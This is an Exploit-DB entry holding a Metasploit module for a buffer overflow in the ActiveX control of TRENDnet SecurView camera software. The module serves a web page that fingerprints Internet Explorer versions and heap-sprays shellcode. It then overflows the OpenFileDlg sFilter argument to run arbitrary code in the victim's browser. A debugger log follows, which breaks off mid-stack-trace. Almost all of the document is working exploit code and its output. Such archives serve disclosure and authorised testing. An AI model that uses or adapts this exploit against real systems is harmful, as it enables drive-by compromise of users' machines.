Exploit-DB #18709
Description: TRENDnet SecurView Internet Camera - UltraMJCam OpenFileDlg Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-04-06
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in TRENDnet SecurView Internet
				Camera's ActiveX control.  By supplying a long string of data as the sFilter
				argument of the OpenFileDlg() function, it is possible to trigger a buffer
				overflow condition due to WideCharToMultiByte (which converts unicode back to)
				overwriting the stack more than it should, which results arbitrary code execution
				under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod',   #Original discovery, PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					[ 'OSVDB', '80661' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/18675/' ]
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
					[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
					[ 'IE 7 on Windows Vista',  { 'Offset' => '0x600', 'Ret' => 0x30303030 } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 28 2012",
			'DefaultTarget'  => 0))
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[3]  #IE 7 on Windows Vista
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		# Set payload depending on target
		p = payload.encoded

		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		# Convert the pivot addr (in decimal format) to binary,
		# and then break it down to this printable format:
		# \x41\x41\x41\x41
		t = [my_target.ret].pack("V").unpack("H*")[0]
		target_ret = ''
		0.step(t.length-1, 2) do |i|
			target_ret << "\\x#{t[i, 2]}"
		end

		js = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x40000-6)/2);

		heap_obj.gc();

		for (var i=1; i < 0x1000; i++) {
			heap_obj.alloc(block);
		}

		var ret = "";
		for (i2=0; i2<30000; i2++) {
			ret = ret + "#{target_ret}";
		}
		obj.OpenFileDlg(ret);
		JS

		js = heaplib(js, {:noobfu => true})

		html = <<-EOS
		<html>
		<head>
		<script>
		</script>
		</head>
		<body>
		<object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
		<script>
		#{js}
		</script>
		</body>
		</html>
		EOS

		print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end

=begin
bp 1000f952 "r; g"
bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g"

eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000
eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!WideCharToMultiByte:
7c80a164 8bff            mov     edi,edi
023f4bf4  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.
023f4c04  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.
023f4c14  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.
023f4c24  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.
023f4c34  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.
023f4c44  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.
023f4c54  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.
023f4c64  [PII_REDACTED] [PII_REDACTED]  A.A.A.A.A.A.A.A.

ChildEBP RetAddr
0013a12c 1000f958 kernel32!WideCharToMultiByte
WARNING: Stack unwind information not available. Following frames may be wrong.
0013a158 100211d0 UltraMJCamX+0xf958
0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20
0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a
0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234
0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92
0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32
0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78
0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149
0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44
0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac
0013e47c 75c76db